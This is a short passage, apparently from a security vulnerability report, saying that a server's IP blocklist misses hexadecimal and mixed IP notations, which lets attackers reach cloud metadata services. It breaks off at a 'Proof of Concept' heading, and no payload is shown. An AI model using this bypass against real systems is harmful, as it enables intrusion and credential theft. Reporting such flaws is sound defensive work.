While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections.

However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.\n\n---\n## Proof of Concept\n1.
